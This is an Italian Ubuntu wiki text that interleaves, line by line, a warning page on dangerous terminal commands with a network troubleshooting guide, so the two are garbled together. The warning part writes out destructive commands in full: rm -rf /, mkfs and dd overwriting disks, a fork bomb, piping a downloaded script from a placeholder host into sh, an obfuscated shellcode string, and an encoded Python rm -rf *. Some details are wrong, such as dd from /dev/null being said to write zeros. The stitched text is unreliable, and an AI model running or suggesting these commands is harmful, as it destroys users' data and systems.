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## page was renamed from ComandiDannosi | #format wiki ## page was renamed from InternetRete/Configurazione/AbilitareConnessione ## page was renamed from InternetHowto |
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<<Indice(width=2)>> <<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>> |
<<Include(NuoviStrumentiWiki/PaginaDiProva)>> <<BR>> <<Indice(depth=2)>> <<Informazioni(forum="https://forum.ubuntu-it.org/viewtopic.php?f=46&t=647593"; rilasci="18.04 20.04 22.04 23.04 24.04";)>> |
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A scopo puramente didattico e illustrativo, in questa guida raccoglie una lista di comandi potenzialmente pericolosi. | Una volta installato Ubuntu, una delle prime azioni da eseguire è collegare il computer a Internet.<<BR>> __Nella maggior parte dei casi la connessione ad Internet e la configurazione della rete saranno eseguite automaticamente__, senza particolari azioni da parte dell'utente, sia nelle edizioni desktop che server (basterà collegare il cavo di rete oppure individuare la rete !WiFi a cui collegarsi ed inserire la password). |
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Si raccomanda di usare particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]]. | Questa pagina descrive alcune operazioni preliminari e illustra la soluzione di alcuni dei problemi più comuni. |
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||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide relative al [[AmministrazioneSistema/Terminale|terminale]] e ai [[AmministrazioneSistema/ComandiBase|comandi di base]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. || | = Requisiti = |
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||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Gli utenti che pubblicheranno questi comandi all'interno del [[http://forum.ubuntu-it.org|forum di supporto di Ubuntu-it]] verranno permanentemente bannati, attraverso il blocco del loro account.''' || | Affinché il collegamento a Internet funzioni, è necessario disporre di: |
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= Comandi da terminale = | * '''Servizio di collegamento a Internet''': occorre avere a disposizione una rete collegata ad Internet già configurata e funzionante; questo servizio può essere fornito attraverso diverse modalità (reti private aziendali oppure domestiche con abbonamento ad un [[http://it.wikipedia.org/wiki/Internet_service_provider|ISP]]; reti fornite da biblioteche, scuole, università ecc.; reti pubbliche presenti in alberghi, aeroporti, stazioni, locali pubblici ecc.). |
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<<Anchor(rm)>> == Rimozione: rm == |
* '''Hardware di rete''': avere presente e riconosciuto nel computer un adeguato hardware di rete funzionante, diverso in base al tipo di connessione che si vuole utilizzare (più di frequente scheda di rete munita di porta [[https://it.wikipedia.org/wiki/RJ-45|RJ-45]] oppure scheda di rete per connessioni wireless [[https://it.wikipedia.org/wiki/Wi-Fi|WLAN]], ma in alcuni casi porta USB, dispositivo Bluetooth, modem integrato con porta RJ-11 oppure slot per SIM card ecc.). |
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* I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{ rm -rf / rm -rf . rm -rf * |
= Connettersi alla rete = Di seguito sono indicate alcune guide di carattere generale per collegare il proprio dispositivo alla rete locale e/o a Internet. In caso di problematiche specifiche consultare il portale [[InternetRete/ConfigurazioneRete|Configurazione Rete]]. * [[InternetRete/ConfigurazioneRete/NetworkManager|Network-Manager]]: guida per lo strumento presente in Ubuntu e la maggior parte delle derivate. * [[InternetRete/ConfigurazioneRete/PlasmaNM|Plasma-NM]]: guida per Plasma-NM, presente in Kubuntu e alcune altre derivate. * [[Hardware/DispositiviSenzaFili/GuidaWiFi|WiFi da terminale]]: come connettersi a reti !WiFi tramite riga di comando. * [[InternetRete/ConfigurazioneRete/ConfigurazioneManualeRete|Configurazione manuale della rete]]: nei casi più comuni il router (tramite il protocollo [[Dynamic_Host_Configuration_Protocol|DHCP]]) attribuirà al computer un indirizzo IP e verranno impostati automaticamente Gateway e DNS; altre volte invece potrebbe essere conveniente impostare questi parametri manualmente. * [[Hardware/Modem|Modem]]: gestione dei modem su Ubuntu. * [[Hardware/Modem/AdslPppoe|ADSLPPPoE]]: guida per impostare una connessione tramite '''pppoe'''. {{{#!wiki note È sempre consigliato consultare il manuale del dispositivo che si utilizza per connettersi alla rete (router, access point, ecc.)<<BR>> In caso di problematiche hardware, come scheda di rete wireless non riconosciuta/non funzionante, consultare la relativa [[Hardware/DispositiviSenzaFili|sezione]]. |
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* Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{ rm -r .* |
= Risoluzione dei problemi = == Configurazione degli indirizzi del DNS == In alcune situazioni potrebbe essere utile poter usufruire di server DNS supplementari oltre a quelli forniti automaticamente tramite il servizio DHCP. 0. Aprire con un [[Ufficio/EditorDiTesto|editor di testo]] il file `/etc/dhcp/dhclient.conf` . 0. Cercare la seguente riga:{{{ #prepend domain-name-servers 127.0.0.1; |
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potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore. | 0. Rimuovere il cancelletto ''#'' e sostituire il ''127.0.0.1'' con la lista degli indirizzi IP dei server DNS che si desiderano utilizzare. Per esempio, se si desidera utilizzare il servizio offerto da [[http://www.opendns.com|OpenDNS]], modificarla come segue:{{{ prepend domain-name-servers 208.67.222.222,208.67.220.220; }}} 0. Salvare, digitando la password alla richiesta, e chiudere il file. |
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* Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{ rm -r .[^.]* |
== Problemi con resolvconf == Si segnalano sporadici casi di mancata connessione di rete nei seguenti casi: * avanzamento di versione da '''Ubuntu''' '''22.04.''' a '''22.04.1''', nei casi in cui è stato installato il pacchetto ''resolvconf'', durante il quale viene erroneamente rimosso il pacchetto medesimo. * blocco del sistema che disabilita la connessione alla rete. * mancata identificazione della scheda di rete da parte del sistema. === Reinstallazione del pacchetto === È possibile reinstallare il pacchetto attraverso due modalità: * '''Chroot''': a tal fine è possibile usare una sistema '''Live''' oppure un secondo sistema GNU/Linux installato in dual boot. Per maggiori informazioni consultare [[AmministrazioneSistema/Chroot|questa guida]]. * '''Procedura manuale''': da un secondo computer scaricare il pacchetto ''resolvconf_1.78ubuntu7_all.deb'' da [[http://ubuntu.mirror.garr.it/ubuntu/pool/main/r/resolvconf/|questo link]], quindi trasferire sul sistema senza connessione (ad esempio tramite una chiavetta USB) e procedere con la sua [[AmministrazioneSistema/InstallareProgrammi/PacchettiDebian|installazione]]. Impostare i parametri di connessione e, se il problema permane, seguire il successivo paragrafo. == Connessione disabilitata dopo blocco del sistema == In alcuni casi, per esempio problemi hardware del computer, la connessione di rete viene impedita da un blocco del sistema. Per risolvere digitare nel [[AmministrazioneSistema/Terminale|terminale]] i seguenti comandi:{{{ sudo systemctl enable resolvconf-pull-resolved.service sudo systemctl start resolvconf-pull-resolved.service |
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<<Anchor(mkfs)>> == Formattazione: mkfs == Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]]. Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`). {{{ mkfs mkfs.ext4 mkfs.ext4 /dev/sda1 |
{{{#!wiki note Trascurare eventuali messaggi di errore nell'output del primo comando. |
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<<Anchor(dd)>> == Copia di blocchi di dati: dd == |
<<Anchor(resolvconf)>> == Mancata identificazione della scheda di rete == |
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Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]). | In rari casi, pur configurando i parametri corretti, la connessione col modem non riesce a causa della mancanza del collegamento simbolico al file `/etc/resolv.conf`. Per identificare e risolvere il problema seguire la seguente procedura. |
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Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione: * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri; * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di zeri; * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati). |
0. Verificare se viene visto il dispositivo di rete (DEVICE):{{{ nmcli connection }}} Se viene mostrato questo messaggio:{{{ NAME UUID TYPE DEVICE Connessione via cavo 1 655b4cdd-4582-382-03c54-9cf4d3912135 ethernet -- Connessione via etere 1 7e03c489-a7d1-4510-8a2d-3cb745e6937f wifi -- }}} Indica che il dispositivo di rete non è visto. 0. Verificare se la causa è ''resolvconf'':{{{ sudo resolvconf -u }}} Se viene mostrato questo messaggio:{{{ /etc/resolvconf/update.d/libc: Warning: /etc/resolv.conf is not a symbolic link to /run/systemd/resolvconf/resolv.conf` }}} Indica che la causa è la mancanza del collegamento simbolico a `/etc/resolv.conf`. 0. Per ripristinare il collegamento simbolico, a seconda della versione di '''Ubuntu''' in uso, dare uno dei seguenti comandi: * Nel rilascio '''20.04''': {{{ sudo ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf }}} * Nei rilasci '''22.04''' e '''24.04''': {{{ sudo ln -sf /run/systemd/resolve/stub-resolv.conf /etc/resolv.conf }}} 0. Riavviare il sistema per rendere effettivo il ripristino. |
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== Connessione interdetta dopo avanzamento rilascio == | |
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<<Anchor(fork)>> == Utilizzo sconsiderato di fork() == |
La mancata identificazione della scheda di rete potrebbe avere altra origine non legata ai problemi di [[#resolvconf|resolvconf]], ma piuttosto dal mancato riconoscimento dei parametri della connessione ''wifi'' precedentemente salvati. |
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L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre. | 0. Verificare se viene visto il dispositivo di rete (DEVICE):{{{ nmcli connection }}} Se viene mostrato questo messaggio:{{{ NAME UUID TYPE DEVICE Connessione via cavo 1 655b4cdd-4582-382-03c54-9cf4d3912135 ethernet -- Connessione via etere 1 7e03c489-a7d1-4510-8a2d-3cb745e6937f wifi -- }}} Indica che il dispositivo di rete non è visto. 0. Rimuovere la connessione configurata non funzionante:{{{ nmcli connection delete "nome connessione" }}} Sostituire `«nome connessione»` con il nome reale, nel'esempio è `«Connessione via etere 1»`. 0. Creare la nuova connessione:{{{ nmcli device wifi connect "nome connessione" password "1234567890AbCdEf" }}} Sostituire `«nome connessione»` col nome desiderato, si può anche riusare quello della connessione rimossa, e `«1234567890AbCdEf»` con la password reale. 0. Verificare l'esito della creazione:{{{ nmcli device wifi list }}} 0. Rieseguire la connessione. |
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Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{ :(){:|&};: |
== Kubuntu e Plasma-nm == Il gestore predefinito ''Plasma-nm'' può avere problemi nel configurare automaticamente alcuni tipi di rete. Per fare in modo che la rete sia automaticamente rilevata seguire i seguenti passi. 0. Aprire con [[Ufficio/EditorDiTesto#Editor_preinstallati|l'editor di testo]] di sistema il file `/etc/network/interfaces`. 0. Aggiungere il carattere cancelletto ''#'' davanti a tutte le eventuali righe presenti. 0. Copiare e incollare il seguente codice alla fine del testo:{{{ auto eth0 iface eth0 inet loopack |
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oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{ fork while fork }}} |
0. Salvare, digitando la password alla richiesta, e chiudere il file. |
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<<Anchor(script)>> == Esecuzione script == L'esecuzione di script all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere dannosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate. Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico script in bash «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{ wget http://sito_internet/prova.sh sh ./prova.sh }}} {{{ wget http://sito_internet/prova.sh -O- | sh }}} <<Anchor(sorgente)>> = Compilazione codice sorgente = È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti attendibili, quali le piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente (ad esempio [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.). Un esempio di codice pericoloso è il seguente: {{{ char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; }}} Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente può sembrare un codice incomprensibile e affatto pericoloso. In realtà esegue il comando {{{ rm -rf ~ / & }}} che distrugge la cartella '''Home''' dell'utente che ha eseguito il codice compilato. = Archivi Tar = Alcuni archivi [[AmministrazioneSistema/FormatiDiCompressione#tar|tar]] possono provocare spiacevoli inconvenienti e causare danni al sistema. Per ulteriori informazioni consultare [[AmministrazioneSistema/FormatiDiCompressione#tar|questa guida]]. = Altri esempi = L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{ python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' }}} Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]]. = Ulteriori risorse = |
Riavviare il computer con il cavo di rete collegato. |
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CategoryAmministrazione | ##Ricordarsi di metter link in Installazione/PostInstallazione ##CategoryInternet CategoryHomepage |
Attenzione! Questa è una Pagina di prova. Le informazioni riportate potrebbero essere incomplete, errate e potenzialmente pericolose. Per contribuire alla realizzazione di questa pagina consultare la discussione di riferimento. |
Indice
Guida verificata con Ubuntu: 20.04 22.04 24.04
Problemi in questa pagina? Segnalali in questa discussione
Introduzione
Una volta installato Ubuntu, una delle prime azioni da eseguire è collegare il computer a Internet.
Nella maggior parte dei casi la connessione ad Internet e la configurazione della rete saranno eseguite automaticamente, senza particolari azioni da parte dell'utente, sia nelle edizioni desktop che server (basterà collegare il cavo di rete oppure individuare la rete WiFi a cui collegarsi ed inserire la password).
Questa pagina descrive alcune operazioni preliminari e illustra la soluzione di alcuni dei problemi più comuni.
Requisiti
Affinché il collegamento a Internet funzioni, è necessario disporre di:
Servizio di collegamento a Internet: occorre avere a disposizione una rete collegata ad Internet già configurata e funzionante; questo servizio può essere fornito attraverso diverse modalità (reti private aziendali oppure domestiche con abbonamento ad un ISP; reti fornite da biblioteche, scuole, università ecc.; reti pubbliche presenti in alberghi, aeroporti, stazioni, locali pubblici ecc.).
Hardware di rete: avere presente e riconosciuto nel computer un adeguato hardware di rete funzionante, diverso in base al tipo di connessione che si vuole utilizzare (più di frequente scheda di rete munita di porta RJ-45 oppure scheda di rete per connessioni wireless WLAN, ma in alcuni casi porta USB, dispositivo Bluetooth, modem integrato con porta RJ-11 oppure slot per SIM card ecc.).
Connettersi alla rete
Di seguito sono indicate alcune guide di carattere generale per collegare il proprio dispositivo alla rete locale e/o a Internet. In caso di problematiche specifiche consultare il portale Configurazione Rete.
Network-Manager: guida per lo strumento presente in Ubuntu e la maggior parte delle derivate.
Plasma-NM: guida per Plasma-NM, presente in Kubuntu e alcune altre derivate.
WiFi da terminale: come connettersi a reti WiFi tramite riga di comando.
Configurazione manuale della rete: nei casi più comuni il router (tramite il protocollo DHCP) attribuirà al computer un indirizzo IP e verranno impostati automaticamente Gateway e DNS; altre volte invece potrebbe essere conveniente impostare questi parametri manualmente.
Modem: gestione dei modem su Ubuntu.
ADSLPPPoE: guida per impostare una connessione tramite pppoe.
È sempre consigliato consultare il manuale del dispositivo che si utilizza per connettersi alla rete (router, access point, ecc.)
In caso di problematiche hardware, come scheda di rete wireless non riconosciuta/non funzionante, consultare la relativa sezione.
Risoluzione dei problemi
Configurazione degli indirizzi del DNS
In alcune situazioni potrebbe essere utile poter usufruire di server DNS supplementari oltre a quelli forniti automaticamente tramite il servizio DHCP.
Aprire con un editor di testo il file /etc/dhcp/dhclient.conf .
Cercare la seguente riga:
#prepend domain-name-servers 127.0.0.1;
Rimuovere il cancelletto # e sostituire il 127.0.0.1 con la lista degli indirizzi IP dei server DNS che si desiderano utilizzare. Per esempio, se si desidera utilizzare il servizio offerto da OpenDNS, modificarla come segue:
prepend domain-name-servers 208.67.222.222,208.67.220.220;
- Salvare, digitando la password alla richiesta, e chiudere il file.
Problemi con resolvconf
Si segnalano sporadici casi di mancata connessione di rete nei seguenti casi:
avanzamento di versione da Ubuntu 22.04. a 22.04.1, nei casi in cui è stato installato il pacchetto resolvconf, durante il quale viene erroneamente rimosso il pacchetto medesimo.
- blocco del sistema che disabilita la connessione alla rete.
- mancata identificazione della scheda di rete da parte del sistema.
Reinstallazione del pacchetto
È possibile reinstallare il pacchetto attraverso due modalità:
Chroot: a tal fine è possibile usare una sistema Live oppure un secondo sistema GNU/Linux installato in dual boot. Per maggiori informazioni consultare questa guida.
Procedura manuale: da un secondo computer scaricare il pacchetto resolvconf_1.78ubuntu7_all.deb da questo link, quindi trasferire sul sistema senza connessione (ad esempio tramite una chiavetta USB) e procedere con la sua installazione.
Impostare i parametri di connessione e, se il problema permane, seguire il successivo paragrafo.
Connessione disabilitata dopo blocco del sistema
In alcuni casi, per esempio problemi hardware del computer, la connessione di rete viene impedita da un blocco del sistema. Per risolvere digitare nel terminale i seguenti comandi:
sudo systemctl enable resolvconf-pull-resolved.service sudo systemctl start resolvconf-pull-resolved.service
Trascurare eventuali messaggi di errore nell'output del primo comando.
Mancata identificazione della scheda di rete
In rari casi, pur configurando i parametri corretti, la connessione col modem non riesce a causa della mancanza del collegamento simbolico al file /etc/resolv.conf. Per identificare e risolvere il problema seguire la seguente procedura.
Verificare se viene visto il dispositivo di rete (DEVICE):
nmcli connection
Se viene mostrato questo messaggio:
NAME UUID TYPE DEVICE Connessione via cavo 1 655b4cdd-4582-382-03c54-9cf4d3912135 ethernet -- Connessione via etere 1 7e03c489-a7d1-4510-8a2d-3cb745e6937f wifi --
Indica che il dispositivo di rete non è visto.Verificare se la causa è resolvconf:
sudo resolvconf -u
Se viene mostrato questo messaggio:
/etc/resolvconf/update.d/libc: Warning: /etc/resolv.conf is not a symbolic link to /run/systemd/resolvconf/resolv.conf`
Indica che la causa è la mancanza del collegamento simbolico a /etc/resolv.conf.
Per ripristinare il collegamento simbolico, a seconda della versione di Ubuntu in uso, dare uno dei seguenti comandi:
Nel rilascio 20.04:
sudo ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf
Nei rilasci 22.04 e 24.04:
sudo ln -sf /run/systemd/resolve/stub-resolv.conf /etc/resolv.conf
- Riavviare il sistema per rendere effettivo il ripristino.
Connessione interdetta dopo avanzamento rilascio
La mancata identificazione della scheda di rete potrebbe avere altra origine non legata ai problemi di resolvconf, ma piuttosto dal mancato riconoscimento dei parametri della connessione wifi precedentemente salvati.
Verificare se viene visto il dispositivo di rete (DEVICE):
nmcli connection
Se viene mostrato questo messaggio:
NAME UUID TYPE DEVICE Connessione via cavo 1 655b4cdd-4582-382-03c54-9cf4d3912135 ethernet -- Connessione via etere 1 7e03c489-a7d1-4510-8a2d-3cb745e6937f wifi --
Indica che il dispositivo di rete non è visto.Rimuovere la connessione configurata non funzionante:
nmcli connection delete "nome connessione"
Sostituire «nome connessione» con il nome reale, nel'esempio è «Connessione via etere 1».
Creare la nuova connessione:
nmcli device wifi connect "nome connessione" password "1234567890AbCdEf"
Sostituire «nome connessione» col nome desiderato, si può anche riusare quello della connessione rimossa, e «1234567890AbCdEf» con la password reale.
Verificare l'esito della creazione:
nmcli device wifi list
- Rieseguire la connessione.
Kubuntu e Plasma-nm
Il gestore predefinito Plasma-nm può avere problemi nel configurare automaticamente alcuni tipi di rete. Per fare in modo che la rete sia automaticamente rilevata seguire i seguenti passi.
Aprire con l'editor di testo di sistema il file /etc/network/interfaces.
Aggiungere il carattere cancelletto # davanti a tutte le eventuali righe presenti.
Copiare e incollare il seguente codice alla fine del testo:
auto eth0 iface eth0 inet loopack
- Salvare, digitando la password alla richiesta, e chiudere il file.
Riavviare il computer con il cavo di rete collegato.